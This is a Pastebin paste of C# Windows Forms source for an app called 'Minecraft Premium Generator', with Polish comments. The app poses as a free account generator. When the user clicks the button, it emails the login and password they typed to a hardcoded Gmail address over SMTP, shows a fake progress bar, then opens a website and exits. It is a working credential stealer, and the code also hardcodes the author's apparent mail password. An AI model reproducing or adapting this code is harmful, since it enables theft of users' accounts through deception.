Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.Net.Mail;
- namespace Minecraft_Premium_Generator
- {
- public partial class Form1 : Form
- {
- public Form1()
- {
- InitializeComponent();
- //webBrowser1.Navigate("https://media.giphy.com/media/139eZBmH1HTyRa/giphy.gif");
- timer2.Start();
- }
- private void pictureBox1_Click(object sender, EventArgs e)
- {
- }
- private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
- {
- }
- private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
- {
- MessageBox.Show("Pola z gwiazdką są obowiązkowe");
- }
- private void button1_Click(object sender, EventArgs e)
- {
- timer1.Start();
- /// Wysyłanie Wiadomości
- MailMessage mail = new MailMessage();
- //mail.To.Add(email);
- mail.To.Add("michalwitek1232@gmail.com");
- mail.From = new MailAddress("michalwitek1232@gmail.com");
- mail.Subject = "MINECRAFT PREMIUM GENERATOR";
- //mail.Body = body;
- mail.Body = "login:" + textBox1.Text + " hasło:" + textBox2.Text;
- mail.IsBodyHtml = true;
- SmtpClient smtp = new SmtpClient();
- smtp.Host = "smtp.gmail.com"; //adres SMTP
- smtp.Credentials = new System.Net.NetworkCredential
- ("michalwitek1232@gmail.com", "michalwitek"); // logowanie na konto
- smtp.Port = 587;
- //SMTP
- smtp.EnableSsl = true;
- smtp.Send(mail);
- }
- private void timer1_Tick(object sender, EventArgs e)
- {
- int szyb = 3;
- progressBar1.Increment(3);
- ///
- if (checkBox1.Checked)
- {
- szyb = 3;
- }
- else
- {
- szyb = 2;
- }
- ////
- if (checkBox2.Checked)
- {
- szyb = 3;
- }
- else
- {
- szyb = 2;
- }
- ///
- if (checkBox3.Checked)
- {
- szyb = 3;
- }
- else
- {
- szyb = 1;
- }
- timer1.Interval = szyb * 50;
- }
- private void button2_Click(object sender, EventArgs e)
- {
- progressBar1.Increment(-200);
- }
- private void timer2_Tick(object sender, EventArgs e)
- {
- label5.Text = (progressBar1.Value / 3 ).ToString() + "%";
- if (String.IsNullOrEmpty(textBox1.Text))
- {
- button1.Enabled = false;
- }
- else
- {
- button1.Enabled = true;
- }
- //
- if (String.IsNullOrEmpty(textBox2.Text))
- {
- button1.Enabled = false;
- }
- else
- {
- button1.Enabled = true;
- }
- //////Pokazywanie sowy :D
- if (progressBar1.Value == progressBar1.Maximum)
- {
- progressBar1.Enabled = false;
- System.Diagnostics.Process.Start("https://mc-premium.org/account");
- timer2.Stop();
- Application.Exit();
- }
- }
- private void label5_Click(object sender, EventArgs e)
- {
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement